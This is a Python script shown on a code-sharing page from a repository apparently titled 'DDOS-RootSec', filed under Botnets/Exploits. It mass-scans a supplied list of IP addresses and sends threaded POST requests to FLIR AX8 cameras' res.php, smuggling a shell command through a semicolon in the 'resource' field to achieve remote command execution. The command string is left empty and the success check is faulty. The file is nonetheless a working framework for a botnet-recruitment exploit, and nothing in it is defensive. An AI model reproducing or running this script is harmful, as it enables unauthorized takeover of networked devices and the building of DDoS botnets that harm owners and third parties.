Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/FLIR AX8_rce.py
5038 views
1
import sys
2
import threading
3
import requests
4
import os
5
import socket
6
import time
7
from queue import *
8
from threading import Thread
9
import base64
10
import urllib.parse
11
12
if len(sys.argv) < 2:
13
sys.exit("\033[37mUsage: python "+sys.argv[0]+" <ip list>")
14
15
ips = open(sys.argv[1], "r").readlines()
16
queue = Queue()
17
queue_count = 0
18
command = ""
19
20
payload = '{}'.format(command)
21
data = 'action=get&resource=;{}'.format(urllib.parse.quote(payload))
22
23
headers = {
24
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
25
}
26
27
info = open(str(sys.argv[1]),'a+')
28
29
def test(ip):
30
ip = str(ip).rstrip("\n")
31
try:
32
ip = ip+"/res.php"
33
x = requests.post("http://"+ip, headers=headers, data=data, allow_redirects=False, verify=False)
34
#print(x.text)
35
if x == 200:
36
print("[FOUND] "+ip)
37
except Exception:
38
print("[NOT FOUND]")
39
pass
40
41
42
def main():
43
global queue_count
44
for line in ips:
45
line = line.strip("\r")
46
line = line.strip("\n")
47
queue_count += 1
48
sys.stdout.flush()
49
queue.put(line)
50
sys.stdout.write("\n")
51
i = 0
52
while i != queue_count:
53
i += 1
54
try:
55
input = queue.get()
56
thread = Thread(target=test, args=(input,))
57
thread.start()
58
time.sleep(0.05)
59
except KeyboardInterrupt:
60
os.kill(os.getpid(), 9)
61
thread.join()
62
return
63
64
65
if __name__ == "__main__":
66
main()
67
68